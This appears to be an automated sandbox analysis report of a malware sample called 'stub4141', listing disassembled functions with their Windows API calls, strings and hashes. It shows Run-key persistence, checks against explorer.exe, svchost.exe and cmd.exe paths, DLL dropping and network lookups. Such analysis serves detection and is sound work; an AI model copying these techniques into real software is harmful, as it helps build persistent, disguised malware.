API ID: Local$Freelstrlen$AllocCloseOpenValue$FolderKnownPathTask__snwprintfwnsprintf
String ID: %s%s %s$SOFTWARE\Microsoft\Windows\CurrentVersion\Run$Software\Microsoft\Windows\CurrentVersion\Run$StartValue$StartValue${DB324A97-B31B-4D9E-9903-E21DB623A349}
API String ID: 3858463887-1137848080
Opcode ID: f5cf83ceaf6bce1f7b3de295cec082e9940fc112ee4a68a5c06badf0555f7494
Instruction ID: fa147d3602f215ddbc848b50784aed88f5841e88fe8143f41787011dfcb226ec
Opcode Fuzzy Hash: f5cf83ceaf6bce1f7b3de295cec082e9940fc112ee4a68a5c06badf0555f7494
Instruction Fuzzy Hash: 9B317E74A00309FBD710EBE0DC89FAE7779AB44705F10496DFA05B6280D778A940CB68

Function 00414960 Relevance: 25.7, APIs: 17, Instructions: 169stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040A510: SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,00415CD0,00480380,00415CD0), ref: 0040A523
Part of subcall function 0040A510: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040A534
Part of subcall function 0040A510: wnsprintfW.SHLWAPI ref: 0040A55F
Part of subcall function 0040A510: lstrlenW.KERNEL32(?), ref: 0040A570
Part of subcall function 0040A510: CoTaskMemFree.COMBASE(?), ref: 0040A57F

Part of subcall function 00414050: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00414C0B,00415CD0,00000000), ref: 0041407B
Part of subcall function 00414050: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00414C0B), ref: 00414095
Part of subcall function 00414050: wnsprintfW.SHLWAPI ref: 004140C5
Part of subcall function 00414050: wnsprintfW.SHLWAPI ref: 004140E1
Part of subcall function 00414050: LocalFree.KERNEL32(00000000), ref: 0041491A

LocalFree.KERNEL32(00000000), ref: 004149C0
LocalFree.KERNEL32(00000000), ref: 004149D0
LocalAlloc.KERNEL32(00000040,00030010), ref: 00414A1B
LocalAlloc.KERNEL32(00000040,000089B0), ref: 00414A35
_memmove.LIBCMT ref: 00414A56
lstrcpyW.KERNEL32(00000000,00000000), ref: 00414A66
lstrcpyW.KERNEL32(-00010000,00000000), ref: 00414A79
lstrcpyW.KERNEL32(-00020000,00000000), ref: 00414A8D
LocalFree.KERNEL32(00000000), ref: 00414B12
LocalFree.KERNEL32(00000000), ref: 00414B1C
LocalFree.KERNEL32(00000000), ref: 00414B26
LocalFree.KERNEL32(00000000), ref: 00414B37
LocalFree.KERNEL32(00000000), ref: 00414B41
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00414B78
LocalFree.KERNEL32(00000000), ref: 00414B82
LocalFree.KERNEL32(00000000), ref: 00414B8C
LocalFree.KERNEL32(00000000), ref: 00414B96

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$Alloc$lstrcpywnsprintf$FolderKnownPathTaskVirtual_memmovelstrlen
String ID:
API String ID: 586337011-0
Opcode ID: dd359386241a82f68e9ef5d0b7a9b34e783d2f69225c968a0b78dd50242da6a7
Instruction ID: 5a7ae14d17a627defdfb7d6d55ce0e6181f7d8df74517417bc4c9a0ebaff69d1
Opcode Fuzzy Hash: dd359386241a82f68e9ef5d0b7a9b34e783d2f69225c968a0b78dd50242da6a7
Instruction Fuzzy Hash: FF71F9B5900218EFCB04DFA4D949BEEB7B5FF88305F144529E605A7290D778A980CBA8

Function 020F4BC7 Relevance: 25.7, APIs: 16, Strings: 1, Instructions: 169stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 020EA777: SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,?), ref: 020EA78A
Part of subcall function 020EA777: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020EA79B
Part of subcall function 020EA777: wnsprintfW.SHLWAPI ref: 020EA7C6
Part of subcall function 020EA777: lstrlenW.KERNEL32(?), ref: 020EA7D7
Part of subcall function 020EA777: CoTaskMemFree.COMBASE(?), ref: 020EA7E6

Part of subcall function 020F42B7: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,020F4C11,00000000,00000000), ref: 020F42E2
Part of subcall function 020F42B7: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,020F4C11), ref: 020F42FC
Part of subcall function 020F42B7: wnsprintfW.SHLWAPI ref: 020F432C
Part of subcall function 020F42B7: wnsprintfW.SHLWAPI ref: 020F4348
Part of subcall function 020F42B7: LocalFree.KERNEL32(00000000), ref: 020F4B81

LocalFree.KERNEL32(00000000), ref: 020F4C27
LocalFree.KERNEL32(00000000), ref: 020F4C37
LocalAlloc.KERNEL32(00000040,00030010), ref: 020F4C82
LocalAlloc.KERNEL32(00000040,000089B0), ref: 020F4C9C
lstrcpyW.KERNEL32(00000000,00000000), ref: 020F4CCD
lstrcpyW.KERNEL32(-00010000,00000000), ref: 020F4CE0
lstrcpyW.KERNEL32(-00020000,00000000), ref: 020F4CF4
LocalFree.KERNEL32(00000000), ref: 020F4D79
LocalFree.KERNEL32(00000000), ref: 020F4D83
LocalFree.KERNEL32(00000000), ref: 020F4D8D
LocalFree.KERNEL32(00000000), ref: 020F4D9E
LocalFree.KERNEL32(00000000), ref: 020F4DA8
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 020F4DDF
LocalFree.KERNEL32(00000000), ref: 020F4DE9
LocalFree.KERNEL32(00000000), ref: 020F4DF3
LocalFree.KERNEL32(00000000), ref: 020F4DFD

Strings

EG, xrefs: 020F4D21

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$lstrcpywnsprintf$FolderKnownPathTaskVirtuallstrlen
String ID: EG
API String ID: 2329222747-2173172719
Opcode ID: da256b120dd2039d3b709893fe86f4327681882fb12bfccc92d94120d743130e
Instruction ID: 0e723cf8b482887c0508624e05dce1c18e2099d2bc1871fc51ed65974f9999b5
Opcode Fuzzy Hash: da256b120dd2039d3b709893fe86f4327681882fb12bfccc92d94120d743130e
Instruction Fuzzy Hash: A47117B5900218EFDB84DFA4D889BEEB7B5FF48305F148528EA01A7290D7799940DFA4

Function 00406200 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 73memorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,0041AFAA), ref: 0040620D
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00406227
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00406241
GetModuleFileNameW.KERNEL32(00000000,00000000,00007FFF), ref: 0040625F
GetWindowsDirectoryW.KERNEL32(00000000,00007FFF), ref: 00406272
__snwprintf.LIBCMT ref: 0040628E
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040629E
LocalFree.KERNEL32(00000000), ref: 004062AC
LocalFree.KERNEL32(00000000), ref: 004062B6
LocalFree.KERNEL32(00000000), ref: 004062C0
LocalFree.KERNEL32(00000000), ref: 004062D1
LocalFree.KERNEL32(00000000), ref: 004062DB
LocalFree.KERNEL32(00000000), ref: 004062E5

Strings

%s\explorer.exe, xrefs: 00406280

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$Alloc$DirectoryFileModuleNameWindows__snwprintflstrcmpi
String ID: %s\explorer.exe
API String ID: 150365659-2893622748
Opcode ID: 8c9c3394fc73b0cfcdf67ab8ca2fb24af8bd27330758158490bb5bc00428ad34
Instruction ID: f49c4079b93ef076e674fd6e8740f437ad181e3cf5a868dffb89e2e434e1c979
Opcode Fuzzy Hash: 8c9c3394fc73b0cfcdf67ab8ca2fb24af8bd27330758158490bb5bc00428ad34
Instruction Fuzzy Hash: 96211D78A00209BFD714AFA4DD49B6E77B5EF48701F1048BDF606A62D0CB789944DB58

Function 00406300 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 73memorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,0041AFEC), ref: 0040630D
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00406327
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00406341
GetModuleFileNameW.KERNEL32(00000000,00000000,00007FFF), ref: 0040635F
GetSystemDirectoryW.KERNEL32(00000000,00007FFF), ref: 00406372
__snwprintf.LIBCMT ref: 0040638E
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040639E
LocalFree.KERNEL32(00000000), ref: 004063AC
LocalFree.KERNEL32(00000000), ref: 004063B6
LocalFree.KERNEL32(00000000), ref: 004063C0
LocalFree.KERNEL32(00000000), ref: 004063D1
LocalFree.KERNEL32(00000000), ref: 004063DB
LocalFree.KERNEL32(00000000), ref: 004063E5

Strings

%s\svchost.exe, xrefs: 00406380

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$Alloc$DirectoryFileModuleNameSystem__snwprintflstrcmpi
String ID: %s\svchost.exe
API String ID: 4247545968-1955667316
Opcode ID: e2f44fb1fad29efd1abd36fdc2cd16e0ca5d74fd0d099e85117a66b9b0d178ac
Instruction ID: 4b512e81a7a05935244b3e9521e8ad168b55f5872fa49beeec79370300a1252d
Opcode Fuzzy Hash: e2f44fb1fad29efd1abd36fdc2cd16e0ca5d74fd0d099e85117a66b9b0d178ac
Instruction Fuzzy Hash: E5213074A00209FFDB10AFA4DD49FAE77B5EF48701F104879F606A62D0CB789954DB98

Function 00406400 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 73memorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,0041B02E), ref: 0040640D
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00406427
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00406441
GetModuleFileNameW.KERNEL32(00000000,00000000,00007FFF), ref: 0040645F
GetSystemDirectoryW.KERNEL32(00000000,00007FFF), ref: 00406472
__snwprintf.LIBCMT ref: 0040648E
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040649E
LocalFree.KERNEL32(00000000), ref: 004064AC
LocalFree.KERNEL32(00000000), ref: 004064B6
LocalFree.KERNEL32(00000000), ref: 004064C0
LocalFree.KERNEL32(00000000), ref: 004064D1
LocalFree.KERNEL32(00000000), ref: 004064DB
LocalFree.KERNEL32(00000000), ref: 004064E5

Strings

%s\cmd.exe, xrefs: 00406480

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$Alloc$DirectoryFileModuleNameSystem__snwprintflstrcmpi
String ID: %s\cmd.exe
API String ID: 4247545968-923833829
Opcode ID: 7e32f36d78742b9652c81e141555e919dea62a2f82200a77990f4ace2c4f9c8c
Instruction ID: 1130f68928e82f79c860efd14947150d1806fc3ba592fe4e6ffdf79fa579aee8
Opcode Fuzzy Hash: 7e32f36d78742b9652c81e141555e919dea62a2f82200a77990f4ace2c4f9c8c
Instruction Fuzzy Hash: F7217178E00204FBD714AFA0EE49B6E7775AF08701F108475B705B62D0CABC9A48DB68

Function 020ED8C7 Relevance: 24.1, APIs: 16, Instructions: 95memoryfileCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,020F1BBF), ref: 020ED8E1
SHGetKnownFolderPath.SHELL32(00437A48,00000000,00000000,?), ref: 020ED8FD
__snwprintf.LIBCMT ref: 020ED91E
DeleteFileW.KERNEL32(00000000), ref: 020ED92A
CoTaskMemFree.COMBASE(?), ref: 020ED934
LocalFree.KERNEL32(00000000), ref: 020ED93E
SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,?), ref: 020ED951
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020ED966
__snwprintf.LIBCMT ref: 020ED990
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020ED99F
__snwprintf.LIBCMT ref: 020ED9CA
DeleteFileW.KERNEL32(00000000), ref: 020ED9D6
RemoveDirectoryW.KERNEL32(00000000), ref: 020ED9E0
LocalFree.KERNEL32(00000000), ref: 020ED9EA
LocalFree.KERNEL32(00000000), ref: 020ED9F4
CoTaskMemFree.COMBASE(?), ref: 020ED9FE

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc__snwprintf$DeleteFileFolderKnownPathTask$DirectoryRemove
String ID:
API String ID: 1689349194-0
Opcode ID: adc988fa129a186cb7bfee996dc3ba28f5c3e4f459bd790ec0aab9ab70888f58
Instruction ID: 00a386d0643084b273f95f33c9852582f6bfff07474d5cca5f2aa122bf0009df
Opcode Fuzzy Hash: adc988fa129a186cb7bfee996dc3ba28f5c3e4f459bd790ec0aab9ab70888f58
Instruction Fuzzy Hash: 66317475A40309BFDB10EFA4CD8AF6E77B9EB48701F100468F605A62D0D7B49A44DB68

Function 0040AA00 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 404memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000FA0), ref: 0040AB07
LocalFree.KERNEL32(00000000), ref: 0040B15A
LocalFree.KERNEL32(00000000), ref: 0040B170
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0040B18D

Strings

@, xrefs: 0040AB41
_DllMain@12, xrefs: 0040AA70

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: FreeLocal$AllocVirtual
String ID: @$_DllMain@12
API String ID: 631462101-1064695914
Opcode ID: ee0eea578a23e12248868c8eec3add2260fe7aad2e26f35062a60ceab29fb6d7
Instruction ID: 6b47dfb09b4ea08e7b20ed4f6073c274d25a773312bef722d2946da82f25a097
Opcode Fuzzy Hash: ee0eea578a23e12248868c8eec3add2260fe7aad2e26f35062a60ceab29fb6d7
Instruction Fuzzy Hash: CE22AD74A05228CFDB25CF14C994BDAB7B1BF89305F1081EAD509AB381D735AE91CF89

Function 004152E0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 132filememorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 004152F6
_memmove.LIBCMT ref: 00415315
lstrcpyW.KERNEL32(?,?), ref: 004153DF
StrStrIW.SHLWAPI(?,.DLL), ref: 004153F1
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 0041541C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00415449
CloseHandle.KERNEL32(?), ref: 00415461
LocalFree.KERNEL32(?), ref: 0041546B
CloseHandle.KERNEL32(?), ref: 0041547F
LocalFree.KERNEL32(?), ref: 004154A9

Strings

.DLL, xrefs: 004153E5

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$CloseFileFreeHandle$AllocCreateWrite_memmovelstrcpy
String ID: .DLL
API String ID: 1779380834-899428287
Opcode ID: 8e7ab4b31296b3283f99e60a5b442efc56970de29a496e67587fb13dcb2c37cc
Instruction ID: cf7911f5e22e134710fb79556f73a1d60765c877a901e4576f7127d7564e09d8
Opcode Fuzzy Hash: 8e7ab4b31296b3283f99e60a5b442efc56970de29a496e67587fb13dcb2c37cc
Instruction Fuzzy Hash: 42512A75A00218EBCB25CF94DC48FDD77B5BB8C300F108599F659A7291C7B49AC19F58

Function 0040E960 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 72memorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040E974
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040E995
SHGetKnownFolderPath.SHELL32(00437A98,00000000,00000000,00000000), ref: 0040E9BC
lstrlenW.KERNEL32(00000000), ref: 0040E9CA
__snwprintf.LIBCMT ref: 0040E9F4
__snwprintf.LIBCMT ref: 0040EA0E
LocalFree.KERNEL32(00000000), ref: 0040EA1A
CoTaskMemFree.COMBASE(00000000), ref: 0040EA24
CoTaskMemFree.COMBASE(00000000), ref: 0040EA33
LocalFree.KERNEL32(00000000), ref: 0040EA3D
LocalFree.KERNEL32(00000000), ref: 0040EA47

Strings

\\?\%s , xrefs: 0040E9E6
%s\System32, xrefs: 0040EA00

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: FreeLocal$AllocTask__snwprintf$FolderKnownPathlstrlen
String ID: %s\System32$\\?\%s
API String ID: 2558432158-2868705786
Opcode ID: 365c22c4207e5557de03d168685dbde4845c7b819986bc310c40997ea21c83dd
Instruction ID: 05d18aa0e9fc1c1e59925c4177ca6a81f7ee15d7ed4023307ab2f66d7aa0ff70
Opcode Fuzzy Hash: 365c22c4207e5557de03d168685dbde4845c7b819986bc310c40997ea21c83dd
Instruction Fuzzy Hash: AE212CB4A40208FFDB14EFE4CD89BAE77B5EF48701F1049A9F601A7291D7B89A40DB54

Function 02101B37 Relevance: 21.1, APIs: 14, Instructions: 116librarymemoryloaderCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000318), ref: 02101B47
LoadLibraryW.KERNEL32(0043764C), ref: 02101B5F
LocalFree.KERNEL32(00000000), ref: 02101B72
GetProcAddress.KERNEL32(00000000,00437660), ref: 02101B88
LocalFree.KERNEL32(00000000), ref: 02101B9B

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Local$Free$AddressAllocLibraryLoadProc
String ID:
API String ID: 2539306102-0
Opcode ID: 4cbb9292acc968d3c961c37904279e4b026894d10cf4f7d12511572caa40f226
Instruction ID: a04a49d1257233f3a2391ce76d8f7fd2a1ca1ad76000c5cda88fcdbe41c043c1
Opcode Fuzzy Hash: 4cbb9292acc968d3c961c37904279e4b026894d10cf4f7d12511572caa40f226
Instruction Fuzzy Hash: 9B51F774A40218EFDB14DFA4DA88BDDB7F4FB48304F1085A8E909A7290DBB49B80DF54

Function 0041ACE0 Relevance: 21.1, APIs: 14, Instructions: 111memorynetworkCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001,?,0041AC21,00000000,00000000,0048C308,0048C3B0), ref: 0041ACEF
_memmove.LIBCMT ref: 0041AD0E
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,0041AC21,00000000,00000000), ref: 0041AD34
inet_addr.WS2_32(00000000), ref: 0041AD54
gethostbyname.WS2_32(00000000), ref: 0041AD67
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,0041AC21,00000000), ref: 0041AD7A

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$Alloc_memmovegethostbynameinet_addr
String ID:
API String ID: 3088692038-0
Opcode ID: de495a9c08e5f5248574568ad3968c28b0e77476136ed7b695429f73c983df3e
Instruction ID: 666ef15e5eabd8b16aa094d1880fe5cb200f92d43096103e95e1bc4d2e398208
Opcode Fuzzy Hash: de495a9c08e5f5248574568ad3968c28b0e77476136ed7b695429f73c983df3e
Instruction Fuzzy Hash: A2416DB9A00208EFCB04DFA4D984BAEB7B5FF48300F204559FA06A7340D7789A95DB65

Function 020E6317 Relevance: 21.1, APIs: 14, Instructions: 92memoryfilesynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(0048BC0C,000003E8), ref: 020E6328
SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,?), ref: 020E6346
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020E635B
__snwprintf.LIBCMT ref: 020E6385
CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 020E63A7
CloseHandle.KERNEL32(000000FF), ref: 020E63D6
LocalFree.KERNEL32(00000000), ref: 020E63E7
CoTaskMemFree.COMBASE(?), ref: 020E63F1
OpenEventW.KERNEL32(00100002,00000000,00485E44), ref: 020E6403
SetEvent.KERNEL32(00000000), ref: 020E6416
CloseHandle.KERNEL32(00000000), ref: 020E6420
CloseHandle.KERNEL32(000000FF), ref: 020E6432
LocalFree.KERNEL32(00000000), ref: 020E643C
CoTaskMemFree.COMBASE(?), ref: 020E6446

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Free$CloseHandleLocal$EventTask$AllocCreateFileFolderKnownObjectOpenPathSingleWait__snwprintf
String ID:
API String ID: 1432346771-0
Opcode ID: 4f46d8ba8bf977876fbc9e671b6e9035fc77941f4e68e8b2a9a4419487c681f4
Instruction ID: 24ec628e76bdd18f931393aa8acfd880dfdcddb0911128901ff971c3387f3fcd
Opcode Fuzzy Hash: 4f46d8ba8bf977876fbc9e671b6e9035fc77941f4e68e8b2a9a4419487c681f4
Instruction Fuzzy Hash: 53317EB4A00304FFDB20ABA4EC8DB6D77B8EF44711F204A28F512A62D0C7759585EF54

Function 00415A20 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 89registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00414050: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00414C0B,00415CD0,00000000), ref: 0041407B
Part of subcall function 00414050: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00414C0B), ref: 00414095
Part of subcall function 00414050: wnsprintfW.SHLWAPI ref: 004140C5
Part of subcall function 00414050: wnsprintfW.SHLWAPI ref: 004140E1
Part of subcall function 00414050: LocalFree.KERNEL32(00000000), ref: 0041491A

Part of subcall function 00401C50: _wcsrchr.LIBCMT ref: 00401C5C

_memset.LIBCMT ref: 00415A95
__snwprintf.LIBCMT ref: 00415AB3
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,000F013F,?), ref: 00415AD2
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000003,00000000,00000000), ref: 00415AFB
RegCloseKey.ADVAPI32(?), ref: 00415B09
LocalFree.KERNEL32(00000000), ref: 00415B13
LocalFree.KERNEL32(00000000), ref: 00415B1D
RegCloseKey.ADVAPI32(?), ref: 00415B2E
LocalFree.KERNEL32(00000000), ref: 00415B38
LocalFree.KERNEL32(00000000), ref: 00415B42

Strings

SOFTWARE\%s, xrefs: 00415AA2
{EE228DDC-782F-45A5-A48F-B7B5CBF44397}, xrefs: 00415A9D

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$AllocClosewnsprintf$OpenQueryValue__snwprintf_memset_wcsrchr
String ID: SOFTWARE\%s${EE228DDC-782F-45A5-A48F-B7B5CBF44397}
API String ID: 4259127442-3308596985
Opcode ID: 2641b162dd02551cb67c4b71f2f1007f9aee024a146ec0605a73ad8f08533900
Instruction ID: 8ebbfe587f2fb45a854537f90b7d383895374847adc404428daec758c0ac3f89
Opcode Fuzzy Hash: 2641b162dd02551cb67c4b71f2f1007f9aee024a146ec0605a73ad8f08533900
Instruction Fuzzy Hash: F9313075A04208FFDB14DBA0DC89FEE7778EF48700F504999F605A6290D7799A84CF54

Function 0040D300 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 82memorystringCOMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,00411962,?,?,?,?,?,?,?,?,?,?,?,00411962), ref: 0040D313
LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,?,?,?,?,?,?,?,00411962), ref: 0040D328
__snwprintf.LIBCMT ref: 0040D361
lstrlenW.KERNEL32(00000000), ref: 0040D36D
_memset.LIBCMT ref: 0040D397
GetFileAttributesW.KERNEL32(00000000), ref: 0040D3C0
SHFileOperationW.SHELL32(?), ref: 0040D3D7
LocalFree.KERNEL32(00000000), ref: 0040D3FD
CoTaskMemFree.COMBASE(00411962), ref: 0040D407

Strings

{9096AE99-52A3-43C9-8817-D950E88F6144}, xrefs: 0040D34A
%s\%s, xrefs: 0040D353

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: FileFreeLocal$AllocAttributesFolderKnownOperationPathTask__snwprintf_memsetlstrlen
String ID: %s\%s${9096AE99-52A3-43C9-8817-D950E88F6144}
API String ID: 561441633-522205475
Opcode ID: 58c363691da038fbe5c7e26cb3e1c7158359d783ad133f0f2c13e6a50884a551
Instruction ID: 3c34fc75f0d8cb75b1c57170b75a199d5695882cced2362e2c5a1967943e5db2
Opcode Fuzzy Hash: 58c363691da038fbe5c7e26cb3e1c7158359d783ad133f0f2c13e6a50884a551
Instruction Fuzzy Hash: C0318D74E00208ABDB14DFE4DC89BAEB775EF48700F10456DEA01A73D0D7B89A45DB69

Function 00415DA0 Relevance: 21.1, APIs: 14, Instructions: 80synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000,?,0041B236), ref: 00415DBC
WaitForSingleObject.KERNEL32(00000000,000000FF,?,0041B236), ref: 00415DD4
CloseHandle.KERNEL32(00000000,?,0041B236), ref: 00415DEA
SetEvent.KERNEL32(00000000,?,0041B236), ref: 00415DFF
WaitForSingleObject.KERNEL32(00000000,000000FF,?,0041B236), ref: 00415E17
CloseHandle.KERNEL32(00000000,?,0041B236), ref: 00415E2D
CloseHandle.KERNEL32(00000000,?,0041B236), ref: 00415E42
